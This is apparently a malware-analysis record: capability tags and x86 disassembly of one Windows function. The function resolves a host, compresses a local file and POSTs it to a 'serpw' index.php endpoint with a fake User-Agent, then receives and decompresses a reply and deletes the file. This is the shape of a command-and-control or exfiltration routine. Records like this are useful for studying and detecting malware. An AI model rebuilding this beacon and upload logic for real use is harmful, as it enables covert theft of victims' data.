Function at 0x405e20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Delete file
Receive data
Receive data on socket
Resolve dns
Resolve function by parsing pe exports
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0xe14c4
call fcn.00411db0
mov eax, dword [0x422330]
push ebx
push esi
push edi
mov dword [esp + 0xe14cc], eax
xor ebx, ebx
mov byte [esp + 0xa2cc8], bl
xor eax, eax
mov ecx, 0xf9ff
lea edi, [esp + 0xa2cc9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x50
stosb byte es:[edi], al
mov word [esp + 0xec], 2
call dword [sym.imp.WSOCK32.dll_htons]
mov edx, dword [0x421070]
mov word [esp + 0xea], ax
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x405e80
sub eax, esi
mov dword [esp + 0x3c], eax
je 0x405f6b
push edx
call dword [sym.imp.WSOCK32.dll_gethostbyname]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push 6
push 1
push 2
mov dword [esp + 0xf8], eax
call dword [sym.imp.WSOCK32.dll_socket]
mov esi, dword [sym.imp.WSOCK32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x18], edi
jne 0x405eea
call esi
push eax
lea ecx, [esp + 0x8e4]
push str.Socket_could_not_connect:__d_n
push ecx
call fcn.00411af5
lea edx, [esp + 0x8ec]
push edx
call fcn.0040a180
add esp, 0x10
push 0x10
lea eax, [esp + 0xec]
push eax
push edi
call dword [sym.imp.WSOCK32.dll_connect]
mov edx, eax
xor eax, eax
mov byte [esp + 0x4e0], bl
mov ecx, 0xff
lea edi, [esp + 0x4e1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
cmp edx, 0xffffffff
mov ecx, 0xa000
lea edi, [esp + 0x7acc8]
rep stosd dword es:[edi], eax
mov byte [esp + 0x2cc8], bl
mov ecx, 0x9fff
lea edi, [esp + 0x2cc9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
jne 0x405f9b
call esi
push eax
push 0xffffffffffffffff
lea ecx, [esp + 0x100]
push str.Socket_state:__d__Socket_error:__d_n
push ecx
call fcn.00411af5
lea edx, [esp + 0x108]
push edx
call fcn.0040a180
add esp, 0x14
mov esi, dword [ebp + 8]
push ebx
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
push 0x41b5fe
mov ecx, esi
mov byte [esi + 4], bl
call fcn.00402030
cmp dword [ebp + 0x28], 0x10
jb 0x4068f2
mov eax, dword [ebp + 0x14]
push eax
jmp 0x4068ea
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xd1], ecx
mov dword [esp + 0xa1], edx
mov dword [esp + 0xd5], ecx
mov dword [esp + 0xa5], edx
mov dword [esp + 0xd9], ecx
mov dword [esp + 0xa9], edx
mov dword [esp + 0xdd], ecx
mov dword [esp + 0xad], edx
mov dword [esp + 0xe1], ecx
mov dword [esp + 0xb1], edx
lea eax, [esp + 0xd0]
mov word [esp + 0xe5], cx
mov word [esp + 0xb5], dx
push eax
mov byte [esp + 0xd4], bl
mov byte [esp + 0xeb], cl
mov byte [esp + 0xa4], bl
mov byte [esp + 0xbb], dl
call fcn.004042c0
lea ecx, [esp + 0xa4]
push ecx
call fcn.00409760
mov esi, dword [ebp + 0xc]
xor eax, eax
imul esi, esi, 0x1448
mov byte [esp + 0x52cd0], bl
mov ecx, 0x9fff
lea edi, [esp + 0x52cd1]
rep stosd dword es:[edi], eax
mov ecx, dword [esi + 0x433d98]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esi + 0x433d80]
add esp, 8
cmp ecx, 0x10
mov dword [esp + 0x3c], eax
jb 0x40606b
mov eax, dword [eax + 4]
jmp 0x40606e
add eax, 4
push eax
lea edx, [esp + 0x52ccc]
push 0x41b38c
push edx
call fcn.00411af5
mov eax, dword [esi + 0x433d94]
mov dword [esp + 0x20], eax
mov byte [esp + 0xcd4], bl
xor eax, eax
mov ecx, 0x3ff
lea edi, [esp + 0xcd5]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0xcd4]
push ecx
stosb byte es:[edi], al
call fcn.004029c0
xor edx, edx
mov dword [esp + 0xc9], edx
mov dword [esp + 0xcd], edx
mov dword [esp + 0xd1], edx
mov dword [esp + 0xd5], edx
mov dword [esp + 0xd9], edx
lea eax, [esp + 0xc8]
mov word [esp + 0xdd], dx
push eax
mov byte [esp + 0xcc], bl
mov byte [esp + 0xe3], dl
call fcn.004042c0
lea ecx, [esp + 0xcc]
push ecx
lea edx, [esp + 0xce0]
push edx
mov eax, edx
push str._s_s.gz
push eax
call fcn.00411af5
lea ecx, [esp + 0xcec]
push ecx
call fcn.0040a180
mov byte [esp + 0x2acf0], bl
xor eax, eax
mov ecx, 0x9fff
lea edi, [esp + 0x2acf1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str._nTosend:_n
stosb byte es:[edi], al
call fcn.0040a180
lea edx, [esp + 0x52cf4]
push edx
call fcn.0040a180
push str.B4_compressing_and_sending
lea esi, [esi + 0x433d9c]
push 0x41b38c
push esi
mov dword [esp + 0x80], esi
call fcn.00411af5
lea eax, [esp + 0x52d04]
push eax
lea ecx, [esp + 0xd08]
push ecx
call fcn.004010a0
add esp, 0x44
lea edx, [esp + 0xcc8]
push 0x41b26c
push edx
mov dword [esp + 0x40], eax
mov dword [esp + 0x14], ebx
call fcn.00411d99
mov esi, eax
xor eax, eax
mov ecx, 0xa000
lea edi, [esp + 0x2acd0]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2acd0]
push 0x41b5fe
mov dword [esp + 0x54], esi
mov dword [esp + 0x4c], eax
push 0x41b38c
lea ecx, [esp + 0x1cd8]
push ecx
call fcn.00411af5
push esi
push 0x400
lea edx, [esp + 0x1ce4]
push 1
push edx
call fcn.00412bb8
mov esi, eax
add esp, 0x24
cmp esi, ebx
jle 0x40626c
lea ebx, [ebx]
mov edi, dword [esp + 0x40]
push esi
lea eax, [esp + 0x1ccc]
push eax
push edi
call fcn.00411f50
mov eax, dword [esp + 0x18]
add edi, esi
add eax, esi
mov dword [esp + 0x4c], edi
mov dword [esp + 0x18], eax
xor eax, eax
mov ecx, 0x100
lea edi, [esp + 0x1cd4]
push 0x41b5fe
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1cd8]
push 0x41b38c
push ecx
call fcn.00411af5
mov edx, dword [esp + 0x60]
push edx
push 0x400
lea eax, [esp + 0x1ce8]
push 1
push eax
call fcn.00412bb8
mov esi, eax
add esp, 0x28
cmp esi, ebx
jg 0x406200
cmp dword [ebp + 0x28], 0x10
mov eax, dword [ebp + 0x14]
jae 0x406278
lea eax, [ebp + 0x14]
mov ecx, dword [0x421070]
push ecx
mov ecx, dword [0x421074]
lea edx, [esp + 0xd4]
push edx
push ecx
lea edx, [esp + 0xac]
push edx
push eax
lea eax, [esp + 0x4f4]
push str.POST__index.php_actionserpw_sid_sacc_dnc_s_HTTP_1.0_r_nHost:__s_r_n
push eax
call fcn.00411af5
lea ecx, [esp + 0x4fc]
push ecx
lea edx, [esp + 0x7ace8]
push 0x41b38c
push edx
call fcn.00411af5
lea edi, [esp + 0x7acf0]
add esp, 0x28
dec edi
mov edi, edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x4062d0
mov ecx, 0xb
mov esi, str.User_Agent:_Mozilla_Compatible_Ppc_Linker_r_n
rep movsd dword es:[edi], dword [esi]
lea edi, [esp + 0x7acc8]
dec edi
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x4062f0
mov eax, dword [esp + 0x14]
mov ecx, 0xc
mov esi, str.Content_type:_application_x_www_form_urlencoded_r_n
rep movsd dword es:[edi], dword [esi]
cmp dword [esp + 0x38], eax
movsw word es:[edi], word [esi]
jne 0x4063dc
lea eax, [esp + 0x2acc8]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x406320
sub eax, edx
mov dword [esp + 0x38], eax
je 0x4063dc
push str._nSending_encoded_n
call fcn.0040a180
mov ecx, dword [esp + 0x10]
inc ecx
push ecx
lea edx, [esp + 0x7acd0]
push edx
mov eax, edx
push str._sContent_length:__d_r_n
push eax
call fcn.00411af5
lea edi, [esp + 0x7acdc]
add esp, 0x14
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x406363
mov ecx, 5
mov esi, str.Connection:_close_r_n_r_n1
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [esp + 0x7acc8]
movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x406384
sub eax, edx
mov edi, eax
lea eax, [esp + 0x7acc8]
mov cl, byte [eax]
mov byte [eax], cl
inc eax
cmp cl, bl
jne 0x406396
lea eax, [esp + 0x7acc8]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4063b0
mov esi, dword [esp + 0xc]
sub eax, edx
push esi
lea ecx, [esp + 0x2accc]
push ecx
lea edx, [esp + eax + 0x7acd0]
push edx
call fcn.00411f50
add esp, 0xc
push ebx
add edi, esi
push edi
jmp 0x406457
push str._nSending_plain_text_n
call fcn.0040a180
mov edx, dword [esp + 0x18]
inc edx
push edx
lea eax, [esp + 0x7acd0]
push eax
mov ecx, eax
push str._sContent_length:__d_r_n
push ecx
call fcn.00411af5
lea edi, [esp + 0x7acdc]
add esp, 0x14
dec edi
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x406410
mov ecx, 5
mov esi, str.Connection:_close_r_n_r_n0
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x52cc8]
push edx
lea eax, [esp + 0x7accc]
push eax
movsw word es:[edi], word [esi]
mov ecx, eax
push 0x41b264
push ecx
movsb byte es:[edi], byte [esi]
call fcn.00411af5
add esp, 0x10
push ebx
lea edx, [esp + 0x7accc]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x7acd0]
push eax
push ecx
call dword [sym.imp.WSOCK32.dll_send]
lea ecx, [esp + 0x7acc8]
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x406476
sub ecx, edi
push ecx
push esi
lea edx, [esp + 0x100]
push str.Socket_result:__d__Strlen:__d_n
push edx
call fcn.00411af5
lea eax, [esp + 0x108]
push eax
call fcn.0040a180
push 0x41b5fe
lea ecx, [esp + 0x7ace0]
push 0x41b38c
push ecx
call fcn.00411af5
add esp, 0x20
xor eax, eax
push ebx
mov ecx, 0xa000
lea edi, [esp + 0x2ccc]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x1c]
push 0x27fff
lea eax, [esp + 0x2cd0]
push eax
lea edx, [esp + 0xa2cd4]
push ecx
mov dword [esp + 0x24], edx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.WSOCK32.dll_recv]
mov esi, eax
cmp esi, ebx
je 0x406569
cmp esi, 0xffffffff
je 0x406569
mov edi, dword [esp + 0x14]
push esi
lea edx, [esp + 0x2ccc]
push edx
push edi
call fcn.00411f50
push 0x41b5fe
lea eax, [esp + 0x2cd8]
push 0x41b38c
add edi, esi
push eax
mov dword [esp + 0x2c], edi
call fcn.00411af5
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x30]
add esp, 0x18
add eax, esi
mov dword [esp + 0xc], eax
push ebx
xor eax, eax
mov ecx, 0xa000
lea edi, [esp + 0x2ccc]
rep stosd dword es:[edi], eax
push 0x27fff
lea ecx, [esp + 0x2cd0]
push ecx
push edx
call dword [sym.imp.WSOCK32.dll_recv]
mov esi, eax
cmp esi, ebx
jne 0x4064f8
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.WSOCK32.dll_closesocket]
mov esi, 0xf
lea eax, [esp + 0xa2cc8]
mov dword [esp + 0x64], esi
mov dword [esp + 0x60], ebx
mov byte [esp + 0x50], bl
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x406590
sub eax, edx
push eax
lea ecx, [esp + 0xa2ccc]
push ecx
lea ecx, [esp + 0x54]
call fcn.00402030
push 4
push ebx
push str._r_n_r_n
lea ecx, [esp + 0x58]
mov dword [esp + 0xa8], esi
mov dword [esp + 0xa4], ebx
mov byte [esp + 0x94], bl
mov dword [esp + 0x8c], esi
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
call fcn.00403440
cmp eax, 0xffffffff
je 0x40669c
push 4
push ebx
push str._r_n_r_n
lea ecx, [esp + 0x58]
call fcn.00403440
push eax
push ebx
lea edx, [esp + 0x54]
push edx
lea ecx, [esp + 0x28]
mov dword [esp + 0x40], esi
mov dword [esp + 0x3c], ebx
mov byte [esp + 0x2c], bl
call fcn.00401f40
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x90]
call fcn.00401f40
mov eax, dword [esp + 0x34]
mov edi, 0x10
cmp eax, edi
jb 0x406647
mov ecx, dword [esp + 0x20]
push ecx
call fcn.00412292
add esp, 4
push 4
push ebx
push str._r_n_r_n
lea ecx, [esp + 0x58]
call fcn.00403440
push 0xffffffffffffffff
add eax, 4
push eax
lea edx, [esp + 0x54]
push edx
lea ecx, [esp + 0x28]
mov dword [esp + 0x40], esi
mov dword [esp + 0x3c], ebx
mov byte [esp + 0x2c], bl
call fcn.00401f40
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x74]
call fcn.00401f40
cmp dword [esp + 0x34], edi
jb 0x40669c
mov ecx, dword [esp + 0x20]
push ecx
call fcn.00412292
add esp, 4
mov edx, dword [esp + 0x44]
push str.Received__decompressing
push 0x41b38c
push edx
call fcn.00411af5
add esp, 0xc
push 1
push ebx
lea eax, [esp + 0x70]
push eax
lea ecx, [esp + 0x28]
mov dword [esp + 0x40], esi
mov dword [esp + 0x3c], ebx
mov byte [esp + 0x2c], bl
call fcn.00401f40
mov eax, dword [esp + 0x34]
cmp eax, 0x10
mov esi, dword [esp + 0x20]
jae 0x4066e1
lea esi, [esp + 0x20]
xor edx, edx
mov edi, 0x41c024
mov ecx, 2
repe cmpsb byte [esi], byte es:[edi]
sete byte [esp + 0x13]
cmp eax, 0x10
jb 0x406706
mov eax, dword [esp + 0x20]
push eax
call fcn.00412292
add esp, 4
cmp byte [esp + 0x13], bl
je 0x4067d6
mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0xc]
sub ecx, eax
sub ecx, 5
push ecx
lea edx, [esp + eax + 0xa2cd1]
push edx
lea eax, [esp + 0xa2cd0]
push eax
call fcn.00411f50
push str._nEncoded_n
call fcn.0040a180
push 0x64000
call fcn.00412abd
mov esi, eax
xor eax, eax
mov ecx, 0x19000
mov edi, esi
rep stosd dword es:[edi], eax
mov edx, dword [esp + 0xac]
mov eax, dword [esp + 0x20]
sub eax, edx
push esi
sub eax, 5
push eax
lea ecx, [esp + 0xa2ce4]
push ecx
lea edx, [esp + 0xce8]
push edx
call fcn.004010f0
push esi
lea eax, [esp + 0x120]
push str.Decompressed:__s
push eax
call fcn.00411af5
lea ecx, [esp + 0x128]
push ecx
call fcn.0040a180
add esp, 0x34
lea edx, [esp + 0xcc8]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea ecx, [esp + 0x4c]
call fcn.00404ec0
mov eax, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4067c0
sub eax, edx
push eax
push esi
lea ecx, [esp + 0x54]
call fcn.00404fe0
jmp 0x406823
lea ecx, [esp + 0x4c]
call fcn.00404ec0
cmp dword [esp + 0x7c], 0x3e8
push 0xffffffffffffffff
push ebx
jae 0x4067f3
mov eax, dword [esp + 0x44]
push eax
jmp 0x40681a
lea ecx, [esp + 0x8c]
push ecx
lea ecx, [esp + 0x58]
call fcn.00404ef0
push str._r_n_r_n
lea ecx, [esp + 0x50]
call fcn.00405560
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x70]
push edx
lea ecx, [esp + 0x58]
call fcn.00404ef0
push 0x41b5fe
lea eax, [esp + 0xa2ccc]
push 0x41b38c
push eax
call fcn.00411af5
mov esi, dword [ebp + 8]
add esp, 0xc
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x54]
push ecx
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov ecx, esi
mov byte [esi + 4], bl
call fcn.00401f40
mov eax, dword [esp + 0x80]
mov edi, 0x10
cmp eax, edi
jb 0x406879
mov edx, dword [esp + 0x6c]
push edx
call fcn.00412292
add esp, 4
cmp dword [esp + 0x9c], edi
mov dword [esp + 0x80], 0xf
mov dword [esp + 0x7c], ebx
mov byte [esp + 0x6c], bl
jb 0x4068a5
mov eax, dword [esp + 0x88]
push eax
call fcn.00412292
add esp, 4
cmp dword [esp + 0x64], edi
mov dword [esp + 0x9c], 0xf
mov dword [esp + 0x98], ebx
mov byte [esp + 0x88], bl
jb 0x4068d1
mov ecx, dword [esp + 0x50]
push ecx
call fcn.00412292
add esp, 4
cmp dword [ebp + 0x28], edi
mov dword [esp + 0x64], 0xf
mov dword [esp + 0x60], ebx
mov byte [esp + 0x50], bl
jb 0x4068f2
mov edx, dword [ebp + 0x14]
push edx
call fcn.00412292
add esp, 4
mov ecx, dword [esp + 0xe14cc]
mov eax, esi
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret